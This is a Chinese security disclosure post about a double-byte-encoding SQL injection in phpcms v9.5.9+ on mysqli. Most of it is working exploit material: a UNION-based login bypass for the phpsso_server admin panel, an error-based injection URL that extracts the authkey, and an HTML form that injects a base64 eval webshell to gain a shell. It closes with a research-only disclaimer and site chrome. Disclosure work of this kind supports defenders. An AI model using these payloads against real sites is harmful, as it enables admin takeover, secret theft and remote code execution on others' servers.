详细说明:
PHP双字节编码,这个本不应该出现的问题,或许因为过去太久远快被遗忘了,phpcms从20140929的v9.5.9版本起,增加了mysqli的支持,因为编写疏忽,导致该问题又重现江湖。漏洞本身无需细说。phpcms默认使用mysqli数据库,显示mysql语句错误(debug为true,呵呵完全可以爆错注入),而且安装过程不能修改。
漏洞影响:利用20140929的v9.5.9以后版本新建站点,以前版本升级的不受影响,故自评Rank为15
漏洞危害:高。利用漏洞直接登陆phpsso_server后台获取shell、注入等。
漏洞证明:
1、登陆登陆phpsso_server后台
用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k 密码:1
2、利用phpsso_server/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。
3、注入。访问链接:http://127.0.0.1/phpcmsv9/index.php?m=pay&c=respond&a=respond_get&code=kkk%89' and extractvalue(1, concat(0x7e, (select substr(authkey,1,30) FROM v9_sso_applications where appid=1),0x7e))--%20m
测试代码:
<form action="http://127.0.0.1/phpcmsv9/phpsso_server/?m=admin&c=messagequeue&a=renotice" method="POST" target="_blank" enctype="multipart/form-data"> noticeid:<input type="text" name="noticeid" id="noticeid" value="誠' union select 1,2,3,4,0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B,6,7-- k" size=100/><br> cmd:<input type="text" name="cmd" id="cmd" value="cGhwaW5mbygpOw=="/>phpinfo();<br> <input type="hidden" name="appid" id="appid" value="1"/> <input type="submit" value="提交"/> </form> <hr> 说明:<br> 1、登陆phpsso_server<br> 用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k<br> 密码:1<br> 2、登陆后,提交获取shell<br> 0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B<br> array();eval(base64_decode($_POST[cmd]));exit;<br>
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论